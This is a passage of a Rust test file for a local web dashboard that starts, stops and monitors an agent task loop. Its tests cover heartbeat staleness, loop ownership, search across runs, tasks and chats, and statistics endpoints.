10095 task.json()["error"]
10096 .as_str()
10097 .is_some_and(|e| e.contains("task")),
10098 "the error names what was not found: {}",
10099 task.body
10100 );
10101 }
10102
10103 #[tokio::test]
10104 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10105 let f = Fixture::start().await;
10106
10107 let missing = f.get("/api/health").await.json();
10108 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10109
10110 write_daemon(
10111 f.home.path(),
10112 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10113 );
10114 let stale = f.get("/api/health").await.json();
10115 assert_eq!(
10116 stale["daemon"]["running"], false,
10117 "a minute without a heartbeat is a dead daemon, not a busy one"
10118 );
10119 assert!(
10120 stale["daemon"]["stale_for_secs"]
10121 .as_i64()
10122 .is_some_and(|s| s >= 55),
10123 "staleness is reported so the UI can say how long: {stale}"
10124 );
10125
10126 write_daemon(f.home.path(), Timestamp::now());
10127 let fresh = f.get("/api/health").await.json();
10128 assert_eq!(fresh["daemon"]["running"], true);
10129 assert_eq!(fresh["daemon"]["idle"], false);
10130 assert_eq!(fresh["daemon"]["pid"], 4242);
10131 assert_eq!(fresh["daemon"]["completed"], 7);
10132 assert_eq!(
10133 fresh["daemon"]["current"][0]["task"],
10134 "20260902-140501-aaaa"
10135 );
10136 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10137 }
10138
10139 #[tokio::test]
10140 async fn the_loop_is_not_running_until_something_starts_it() {
10141 let f = Fixture::start().await;
10142
10143 let view = f.get("/api/loop").await.json();
10144 assert_eq!(view["running"], false);
10145 assert_eq!(
10146 view["owned"], false,
10147 "nobody owns a loop that does not exist: {view}"
10148 );
10149 assert_eq!(view["stopping"], false);
10150 assert_eq!(view["last_error"], Value::Null);
10151 assert_eq!(view["daemon"]["running"], false);
10152 assert_eq!(
10153 view["repo"], "/repo/magi",
10154 "the repository a start would use, named before it is started"
10155 );
10156 }
10157
10158 #[tokio::test]
10159 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10160 let f = Fixture::start().await;
10161
10162 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10163 assert_eq!(res.status, 200, "{}", res.body);
10164 let view = res.json();
10165 assert_eq!(view["running"], true);
10166 assert_eq!(
10167 view["owned"], true,
10168 "the loop the UI started is the UI's own to stop: {view}"
10169 );
10170 assert_eq!(
10171 view["merge"],
10172 Value::Null,
10173 "no override was given, so each repository's own config decides"
10174 );
10175
10176 let health = f.get("/api/health").await.json();
10180 assert_eq!(health["loop"]["running"], true, "{health}");
10181 assert_eq!(health["loop"]["owned"], true, "{health}");
10182
10183 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10184 }
10185
10186 #[tokio::test]
10187 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10188 let f = Fixture::start().await;
10189 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10190 assert_eq!(first.status, 200, "{}", first.body);
10191
10192 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10193 assert_eq!(
10194 again.status, 409,
10195 "two loops on one queue race for the same claims: {}",
10196 again.body
10197 );
10198 assert!(
10199 again.json()["error"]
10200 .as_str()
10201 .is_some_and(|e| e.contains("already running the loop")),
10202 "the refusal has to say why: {}",
10203 again.body
10204 );
10205 assert_eq!(
10206 f.get("/api/loop").await.json()["running"],
10207 true,
10208 "and the loop that was already running is untouched by it"
10209 );
10210
10211 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10212 }
10213
10214 #[tokio::test]
10215 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10216 let f = Fixture::start().await;
10217 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10218
10219 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10220 assert_eq!(
10221 res.status, 200,
10222 "the answer must not wait for the loop: a run in flight is tens of \
10223 minutes and the operator is holding a phone: {}",
10224 res.body
10225 );
10226
10227 let view = settled(&f, |v| v["running"] == false).await;
10228 assert_eq!(view["owned"], false);
10229 assert_eq!(
10230 view["stopping"], false,
10231 "a loop that has stopped is not still stopping: {view}"
10232 );
10233 assert_eq!(
10234 view["last_error"],
10235 Value::Null,
10236 "a loop that was asked to stop did not fail: {view}"
10237 );
10238
10239 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10242 assert_eq!(twice.status, 200, "{}", twice.body);
10243 }
10244
10245 #[tokio::test]
10246 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10247 let f = Fixture::start().await;
10248 write_daemon(f.home.path(), Timestamp::now());
10251
10252 let view = f.get("/api/loop").await.json();
10253 assert_eq!(view["running"], false, "not in this process: {view}");
10254 assert_eq!(view["owned"], false, "and not this process's to control");
10255 assert_eq!(
10256 view["daemon"]["running"], true,
10257 "but a loop is alive somewhere, which is what the UI must say"
10258 );
10259 assert_eq!(view["daemon"]["pid"], 4242);
10260
10261 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10262 let res = f.post("/api/loop", Some(body)).await;
10263 assert_eq!(
10264 res.status, 409,
10265 "neither button may pretend to work on someone else's loop: {}",
10266 res.body
10267 );
10268 assert!(
10269 res.json()["error"]
10270 .as_str()
10271 .is_some_and(|e| e.contains("4242")),
10272 "the refusal has to name the process the operator must go to: {}",
10273 res.body
10274 );
10275 }
10276 assert_eq!(
10277 f.get("/api/loop").await.json()["running"],
10278 false,
10279 "and the refusal started nothing"
10280 );
10281 }
10282
10283 #[tokio::test]
10284 async fn a_stale_status_file_is_not_a_foreign_owner() {
10285 let f = Fixture::start().await;
10286 write_daemon(
10287 f.home.path(),
10288 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10289 );
10290
10291 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10292 assert_eq!(
10293 res.status, 200,
10294 "a daemon killed a minute ago must not lock the loop out of its \
10295 own home for good: {}",
10296 res.body
10297 );
10298 assert_eq!(res.json()["running"], true);
10299
10300 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10301 }
10302
10303 #[tokio::test]
10304 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10305 let f = Fixture::start().await;
10306 let before = f.get("/api/health").await.json()["loop_rev"]
10307 .as_u64()
10308 .expect("a loop revision");
10309
10310 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10311
10312 let after = f.get("/api/health").await.json()["loop_rev"]
10313 .as_u64()
10314 .expect("a loop revision");
10315 assert!(
10316 after > before,
10317 "the loop is in-process state, so this counter is the only thing \
10318 that tells a second device the first one started it: {before} -> \
10319 {after}"
10320 );
10321
10322 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10323 }
10324
10325 #[tokio::test]
10326 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10327 let f = Fixture::with_loop(launch_broken).await;
10328
10329 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10330 assert_eq!(
10331 res.status, 200,
10332 "starting it is not the failure: {}",
10333 res.body
10334 );
10335
10336 let view = settled(&f, |v| v["last_error"].is_string()).await;
10337 assert_eq!(
10338 view["running"], false,
10339 "a loop that died must not read as running, or the operator has \
10340 nothing to press: {view}"
10341 );
10342 assert_eq!(view["owned"], false);
10343 assert!(
10344 view["last_error"]
10345 .as_str()
10346 .is_some_and(|e| e.contains("read-only file system")),
10347 "the phone is where a loop that died at 3am is visible: {view}"
10348 );
10349
10350 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10353 assert_eq!(again.status, 200, "{}", again.body);
10354 assert_eq!(
10355 again.json()["last_error"],
10356 Value::Null,
10357 "a fresh start does not keep showing why the last one died"
10358 );
10359 }
10360
10361 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10373 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10374 let home = TempDir::new().expect("temp home");
10375 let runs = home.path().join("runs");
10376 std::fs::create_dir_all(&runs).expect("runs dir");
10377 let ui = Ui::new(
10378 Queue::at(home.path().join("queue")),
10379 Questions::at(home.path().join("questions")),
10380 Talks::at(home.path().join("talks")),
10381 runs,
10382 home.path().to_path_buf(),
10383 PathBuf::from("/repo/magi"),
10384 )
10385 .with_worktrees_root(home.path().join("wt"))
10386 .with_launch(launch_knocking_on_the_way_out);
10387 let looping = ui.looping();
10388 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10389 .await
10390 .expect("bind loopback");
10391 let addr = listener.local_addr().expect("local addr");
10392 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10393 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10394
10395 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10396 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10397
10398 let bound = std::sync::Mutex::new(None);
10413 hand_over(home.path(), &looping, served, |_| {
10414 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10415 let attempt = loop {
10416 match std::net::TcpListener::bind(addr) {
10417 Ok(l) => {
10418 drop(l);
10419 break Ok(());
10420 }
10421 Err(e)
10422 if e.kind() == std::io::ErrorKind::AddrInUse
10423 && std::time::Instant::now() < deadline =>
10424 {
10425 std::thread::sleep(std::time::Duration::from_millis(10));
10426 }
10427 Err(e) => break Err(e.to_string()),
10428 }
10429 };
10430 *bound.lock().expect("bound") = Some(attempt);
10431 Ok(1)
10432 })
10433 .await
10434 .expect("hand over");
10435
10436 assert_eq!(
10437 *PARK_HEARD.lock().expect("park heard"),
10438 Some(200),
10439 "the deck must answer while the loop is parking"
10440 );
10441 let attempt = bound
10442 .lock()
10443 .expect("bound")
10444 .take()
10445 .expect("the successor was started");
10446 assert!(
10447 attempt.is_ok(),
10448 "and the address must be free by the time it is: {attempt:?}"
10449 );
10450 }
10451
10452 #[tokio::test]
10453 async fn a_newer_daemon_status_file_still_renders() {
10454 let f = Fixture::start().await;
10455 std::fs::write(
10458 f.home.path().join("daemon.json"),
10459 serde_json::json!({
10460 "schema": 2,
10461 "updated_at": Timestamp::now().to_string(),
10462 "idle": true,
10463 "surprise": { "nested": [1, 2, 3] },
10464 })
10465 .to_string(),
10466 )
10467 .expect("write daemon.json");
10468
10469 let health = f.get("/api/health").await;
10470
10471 assert_eq!(health.status, 200);
10472 assert_eq!(health.json()["daemon"]["running"], true);
10473 }
10474
10475 #[tokio::test]
10476 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10477 let f = Fixture::start().await;
10478 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10479 let broken = f.runs().join("20260902-140502-bad");
10480 std::fs::create_dir_all(&broken).expect("run dir");
10481 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10482
10483 let list = f.get("/api/runs").await;
10484 let detail = f.get("/api/runs/20260902-140502-bad").await;
10485
10486 assert_eq!(list.status, 200);
10487 let listed = list.json();
10488 let ids: Vec<&str> = listed
10489 .as_array()
10490 .expect("an array")
10491 .iter()
10492 .map(|r| r["id"].as_str().expect("an id"))
10493 .collect();
10494 assert_eq!(
10495 ids,
10496 vec!["20260902-140501-good"],
10497 "one unreadable run must not cost the operator the whole history"
10498 );
10499 assert_eq!(detail.status, 500);
10500 assert!(
10501 detail.json()["error"]
10502 .as_str()
10503 .is_some_and(|e| e.contains("run.json")),
10504 "the failure names the file to look at: {}",
10505 detail.body
10506 );
10507 let health = f.get("/api/health").await;
10511 assert_eq!(health.json()["runs_unreadable"], 1);
10512 }
10513
10514 #[tokio::test]
10516 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10517 let f = Fixture::start().await;
10518 let runs = f.runs();
10519 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10520 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10521 let path = runs.join("20260902-140502-bbbb").join("run.json");
10524 let mut v: serde_json::Value =
10525 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10526 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10527 std::fs::write(&path, v.to_string()).unwrap();
10528 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10529 std::fs::write(
10530 runs.join("20260902-140503-cccc").join("run.json"),
10531 "{ not json",
10532 )
10533 .unwrap();
10534
10535 let res = f.get("/api/search?scope=runs&q=quokka").await;
10536 assert_eq!(res.status, 200, "{}", res.body);
10537 let v = res.json();
10538 assert_eq!(v["total"], 1, "{v}");
10539 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10540 assert_eq!(v["hits"][0]["field"], "text");
10541 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10542 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10543 assert!(
10544 parts
10545 .iter()
10546 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10547 "{v}"
10548 );
10549 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10550 assert_eq!(
10551 flat, "The Quokka leaks across threads",
10552 "whitespace is collapsed"
10553 );
10554
10555 let both = f
10557 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10558 .await
10559 .json();
10560 assert_eq!(both["total"], 1, "{both}");
10561 let neither = f
10562 .get("/api/search?scope=runs&q=quokka%20zebra")
10563 .await
10564 .json();
10565 assert_eq!(neither["total"], 0, "{neither}");
10566 let stmt = f
10568 .get("/api/search?scope=runs&q=mobile%20first")
10569 .await
10570 .json();
10571 assert_eq!(stmt["total"], 2, "{stmt}");
10572 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10573 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10574 }
10575
10576 #[test]
10577 fn snippet_ignores_terms_longer_than_the_field() {
10578 let terms = ["ok".to_owned(), "elephant".to_owned()];
10579 let parts = snippet_of("ok", &terms);
10580 assert_eq!(
10581 parts,
10582 vec![SnippetPart {
10583 text: "ok".to_owned(),
10584 hit: true
10585 }]
10586 );
10587 }
10588
10589 #[test]
10590 fn snippet_marks_matches_longer_than_the_window() {
10591 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10592 let hit_len = |parts: &[SnippetPart]| -> usize {
10593 parts
10594 .iter()
10595 .filter(|p| p.hit)
10596 .map(|p| p.text.chars().count())
10597 .sum()
10598 };
10599 let total =
10600 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10601
10602 let long = "a".repeat(120);
10603 let parts = snippet_of(&long, std::slice::from_ref(&long));
10604 assert!(hit_len(&parts) > 0, "{parts:?}");
10605 assert!(total(&parts) <= cap);
10606
10607 let ja = "あ".repeat(130);
10608 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10609 assert!(hit_len(&parts) > 0, "{parts:?}");
10610 assert!(total(&parts) <= cap);
10611
10612 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10614 let term = format!("ab{}", "c".repeat(100));
10615 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10616 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10617 assert!(total(&parts) <= cap);
10618
10619 let text = format!("{}z", "a".repeat(119));
10621 let parts = snippet_of(&text, &["a".repeat(120)]);
10622 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10623 }
10624
10625 #[tokio::test]
10626 async fn search_caps_hits_and_snippet_length() {
10627 let f = Fixture::start().await;
10628 let runs = f.runs();
10629 for n in 0..(SEARCH_MAX_HITS + 5) {
10630 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10631 }
10632 let v = f.get("/api/search?scope=runs&q=web").await.json();
10633 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10634 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10635 assert_eq!(v["truncated"], true);
10636 assert!(
10638 v["hits"]
10639 .as_array()
10640 .unwrap()
10641 .iter()
10642 .all(|h| h["run"]["status"] == "merged")
10643 );
10644
10645 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10646 let parts = snippet_of(&long, &["needle".to_owned()]);
10647 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10648 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10649 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10650 }
10651
10652 #[tokio::test]
10653 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10654 let f = Fixture::start().await;
10655 let queue = f.queue();
10656 let mut t = Task::new(
10657 "short title".to_owned(),
10658 "line one\nthe hidden Armadillo detail".to_owned(),
10659 PathBuf::from("/repo/magi"),
10660 Source::Agent {
10661 run: "r1".to_owned(),
10662 node: "chat".to_owned(),
10663 },
10664 );
10665 t.last_error = Some("disk full on /tmp".to_owned());
10666 queue.put(&mut t).expect("file the task");
10667
10668 for (q, want) in [
10669 ("armadillo", 1),
10670 ("disk%20FULL", 1),
10671 ("chat", 1),
10672 ("queued", 1),
10673 ("short%20nothing", 0),
10674 ] {
10675 let v = f
10676 .get(&format!("/api/search?scope=tasks&q={q}"))
10677 .await
10678 .json();
10679 assert_eq!(v["total"], want, "{q}: {v}");
10680 }
10681 for bad in [
10682 "/api/search?scope=tasks&q=",
10683 "/api/search?scope=tasks&q=%20",
10684 "/api/search?scope=chats&q=",
10685 "/api/search?scope=chats&q=%20",
10686 "/api/search?scope=nope&q=a",
10687 "/api/search?q=a",
10688 ] {
10689 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10690 }
10691 }
10692
10693 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10695 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10696 .expect("seat value");
10697 let turns: Vec<serde_json::Value> = turns
10698 .iter()
10699 .map(|(who, body)| {
10700 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10701 })
10702 .collect();
10703 let doc = serde_json::json!({
10704 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10705 "status": status, "turns": turns,
10706 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10707 "seat": seat,
10708 });
10709 let dir = f.home.path().join("talks");
10710 std::fs::create_dir_all(&dir).expect("talks dir");
10711 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10712 }
10713
10714 #[tokio::test]
10715 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10716 let f = Fixture::start().await;
10717 write_talk(
10718 &f,
10719 "20260901-000001-aaaa",
10720 "open",
10721 &[
10722 (
10723 "operator",
10724 "\n Why does the Pangolin cache expire?\nsecond line",
10725 ),
10726 ("agent", "Because the TTL is thirty seconds."),
10727 ],
10728 );
10729 write_talk(
10730 &f,
10731 "20260901-000002-bbbb",
10732 "closed",
10733 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10734 );
10735 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10736
10737 let search = |q: &'static str| {
10738 let f = &f;
10739 async move {
10740 f.get(&format!("/api/search?scope=chats&q={q}"))
10741 .await
10742 .json()
10743 }
10744 };
10745
10746 let v = search("PANGOLIN").await;
10747 assert_eq!(v["scope"], "chats");
10748 assert_eq!(v["total"], 1, "{v}");
10749 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10750 assert_eq!(v["hits"][0]["field"], "title");
10751 assert_eq!(v["unreadable"], 1, "{v}");
10752 let marked: Vec<&str> = v["hits"][0]["snippet"]
10753 .as_array()
10754 .unwrap()
10755 .iter()
10756 .filter(|p| p["hit"] == true)
10757 .map(|p| p["text"].as_str().unwrap())
10758 .collect();
10759 assert_eq!(marked, ["Pangolin"]);
10760
10761 let v = search("zebra").await;
10763 assert_eq!(v["total"], 1, "{v}");
10764 assert_eq!(v["hits"][0]["field"], "agent");
10765 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10767 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10768 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10770 assert_eq!(search(q).await["total"], 0, "{q}");
10771 }
10772 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10774 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10776
10777 let v = f.get("/api/search?scope=nope&q=a").await;
10778 assert_eq!(v.status, 400);
10779 assert!(
10780 v.body.contains("scope must be runs, tasks or chats"),
10781 "{}",
10782 v.body
10783 );
10784 }
10785
10786 #[test]
10787 fn a_question_card_links_a_task_id_to_the_task_page() {
10788 let start = APP_JS
10789 .find("function updateAskCard(")
10790 .expect("updateAskCard exists");
10791 let body = &APP_JS[start..];
10792 let body = &body[..body.find("\n}\n").expect("function end")];
10793 assert!(body.contains("question.run_is_task"));
10794 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10795 assert!(body.contains("`#/runs/${question.run}`"));
10796 assert!(body.contains("\"task\" : \"run\""));
10797 }
10798
10799 #[test]
10800 fn stats_bars_share_one_id_keyed_plan() {
10801 let start = APP_JS
10802 .find("function statsBarRows(")
10803 .expect("statsBarRows exists");
10804 let body = &APP_JS[start..];
10805 let body = &body[..body.find("\n}\n").expect("function end")];
10806 assert!(body.contains("statsBarPlan(rows)"));
10807 assert!(body.contains("statsAgentTone(row.agent)"));
10808 assert!(!body.contains("candTone(i)"));
10809 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
10810 for root in [
10811 "stats-agents-bars",
10812 "stats-reviewers-bars",
10813 "stats-advisors-bars",
10814 ] {
10815 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
10816 }
10817 }
10818
10819 #[test]
10820 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10821 let start = APP_JS
10822 .find("function scheduleSearch(")
10823 .expect("scheduleSearch exists");
10824 let body = &APP_JS[start..];
10825 let body = &body[..body.find("\n}\n").expect("function end")];
10826 assert!(body.contains("s.seq += 1"));
10827 }
10828
10829 #[tokio::test]
10834 async fn stats_runs_unreadable_matches_health() {
10835 let f = Fixture::start().await;
10836 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10837 let broken = f.runs().join("20260902-140502-bad");
10838 std::fs::create_dir_all(&broken).expect("run dir");
10839 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10840
10841 let stats = f.get("/api/stats").await;
10842 let health = f.get("/api/health").await;
10843
10844 assert_eq!(stats.status, 200);
10845 assert_eq!(stats.json()["totals"]["runs"], 1);
10846 assert_eq!(stats.json()["runs_unreadable"], 1);
10847 assert_eq!(
10848 stats.json()["runs_unreadable"],
10849 health.json()["runs_unreadable"],
10850 "the dashboard and /api/health must never disagree about how many \
10851 runs could not be read"
10852 );
10853 }
10854
10855 #[tokio::test]
10856 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10857 let f = Fixture::start().await;
10858 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10859 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10860 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10861
10862 let totals = &f.get("/api/stats").await.json()["totals"];
10863 assert_eq!(totals["runs"], 3);
10864 assert_eq!(totals["merged"], 1);
10865 assert_eq!(totals["stalled"], 1);
10866 assert_eq!(totals["in_progress"], 1);
10867 assert_eq!(totals["blocked"], 0);
10870 assert_eq!(totals["ready"], 0);
10871 }
10872
10873 #[tokio::test]
10874 async fn stats_advisors_report_proposals_and_reflection() {
10875 use crate::advise::{Advice, AdvisorRecord, Reflection};
10876 use crate::verdict::Proposal;
10877
10878 let f = Fixture::start().await;
10879 let mut state = RunState::new(
10880 PathBuf::from("/repo/magi"),
10881 "main".to_owned(),
10882 "0123456789abcdef".to_owned(),
10883 "task".to_owned(),
10884 Config::default(),
10885 );
10886 state.id = "20260902-140501-a".to_owned();
10887 state.status = RunStatus::Merged;
10888 state.advice = Some(Advice {
10889 records: vec![
10890 AdvisorRecord {
10891 seat: "advisor-1".to_owned(),
10892 agent: "alpha".to_owned(),
10893 proposal: Some(Proposal {
10894 approach: "do it".to_owned(),
10895 key_tradeoff: "speed over memory".to_owned(),
10896 risks: Vec::new(),
10897 touches: Vec::new(),
10898 why_not_naive: "breaks under load".to_owned(),
10899 }),
10900 error: None,
10901 duration_ms: 0,
10902 reflection: Reflection::Strong,
10903 },
10904 AdvisorRecord {
10905 seat: "advisor-2".to_owned(),
10906 agent: "alpha".to_owned(),
10907 proposal: None,
10908 error: Some("timed out".to_owned()),
10909 duration_ms: 0,
10910 reflection: Reflection::Absent,
10911 },
10912 ],
10913 synthesis: Some("blended brief".to_owned()),
10914 });
10915 let dir = f.runs().join(&state.id);
10916 std::fs::create_dir_all(&dir).expect("run dir");
10917 std::fs::write(
10918 dir.join("run.json"),
10919 serde_json::to_string_pretty(&state).expect("serialize run"),
10920 )
10921 .expect("write run.json");
10922
10923 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10924 let alpha = advisors
10925 .as_array()
10926 .expect("an array")
10927 .iter()
10928 .find(|a| a["agent"] == "alpha")
10929 .expect("alpha row");
10930 assert_eq!(alpha["seated"], 2);
10931 assert_eq!(alpha["proposed"], 1);
10932 assert_eq!(alpha["absent"], 1);
10933 assert_eq!(alpha["strong"], 1);
10934 assert_eq!(alpha["faint"], 0);
10935 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10936 }
10937
10938 #[tokio::test]
10939 async fn stats_release_bumps_split_clean_from_attention() {
10940 use crate::run::ReleaseBump;
10941
10942 let f = Fixture::start().await;
10943
10944 let mut clean = RunState::new(
10945 PathBuf::from("/repo/magi"),
10946 "main".to_owned(),
10947 "0123456789abcdef".to_owned(),
10948 "task".to_owned(),
10949 Config::default(),
10950 );
10951 clean.id = "20260902-140501-a".to_owned();
10952 clean.status = RunStatus::Merged;
10953 clean.release_bump = Some(ReleaseBump {
10954 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10955 version: Some("1.0.0".to_owned()),
10956 automerge_enabled: true,
10957 merged_directly: false,
10958 local: false,
10959 release: None,
10960 problem: None,
10961 action_required: None,
10962 });
10963
10964 let mut blocked = RunState::new(
10965 PathBuf::from("/repo/magi"),
10966 "main".to_owned(),
10967 "0123456789abcdef".to_owned(),
10968 "task".to_owned(),
10969 Config::default(),
10970 );
10971 blocked.id = "20260902-140502-b".to_owned();
10972 blocked.status = RunStatus::Merged;
10973 blocked.release_bump = Some(ReleaseBump {
10974 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10975 version: Some("1.0.1".to_owned()),
10976 automerge_enabled: false,
10977 merged_directly: false,
10978 local: false,
10979 release: None,
10980 problem: Some("checks red".to_owned()),
10981 action_required: Some("look at the PR".to_owned()),
10982 });
10983
10984 for state in [&clean, &blocked] {
10985 let dir = f.runs().join(&state.id);
10986 std::fs::create_dir_all(&dir).expect("run dir");
10987 std::fs::write(
10988 dir.join("run.json"),
10989 serde_json::to_string_pretty(state).expect("serialize run"),
10990 )
10991 .expect("write run.json");
10992 }
10993
10994 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10995 assert_eq!(bumps["merged"], 2);
10996 assert_eq!(bumps["recorded"], 2);
10997 assert_eq!(bumps["pr_opened"], 2);
10998 assert_eq!(bumps["automerge_enabled"], 1);
10999 assert_eq!(bumps["needs_attention"], 1);
11000 assert_eq!(bumps["clean"], 1);
11001 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11002 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11003 }
11004
11005 #[tokio::test]
11006 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11007 let f = Fixture::start().await;
11008 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11009
11010 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11011 assert_eq!(bumps["merged"], 1);
11012 assert_eq!(bumps["recorded"], 0);
11013 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11016 assert_eq!(bumps["automerge_rate"], Value::Null);
11019 assert_eq!(bumps["attention_rate"], Value::Null);
11020 }
11021
11022 #[tokio::test]
11023 async fn stats_queue_counts_come_from_the_live_queue() {
11024 let f = Fixture::start().await;
11025 let q = f.queue();
11026 let mut queued = Task::new(
11027 "queued task".to_owned(),
11028 "do it".to_owned(),
11029 PathBuf::from("/repo"),
11030 Source::Human,
11031 );
11032 q.put(&mut queued).expect("put queued");
11033 let mut held = Task::new(
11034 "held task".to_owned(),
11035 "do it later".to_owned(),
11036 PathBuf::from("/repo"),
11037 Source::Human,
11038 );
11039 held.hold_machine(Some("out of attempts".to_owned()));
11040 q.put(&mut held).expect("put held");
11041
11042 let queue = f.get("/api/stats").await.json()["queue"].clone();
11043 assert_eq!(queue["queued"], 1);
11044 assert_eq!(queue["held"], 1);
11045 assert_eq!(queue["running"], 0);
11046 assert_eq!(queue["done"], 0);
11047 assert_eq!(queue["failed"], 0);
11048 assert_eq!(queue["blocked"], 0);
11049 }
11050
11051 #[tokio::test]
11052 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11053 let f = Fixture::start().await;
11054 let stats = f.get("/api/stats").await;
11055 assert_eq!(stats.status, 200);
11056 assert_eq!(stats.json()["totals"]["runs"], 0);
11057 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11058 assert_eq!(stats.json()["runs_unreadable"], 0);
11059 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11060 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11061 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11062 assert_eq!(stats.json()["repo"], Value::Null);
11063 }
11064
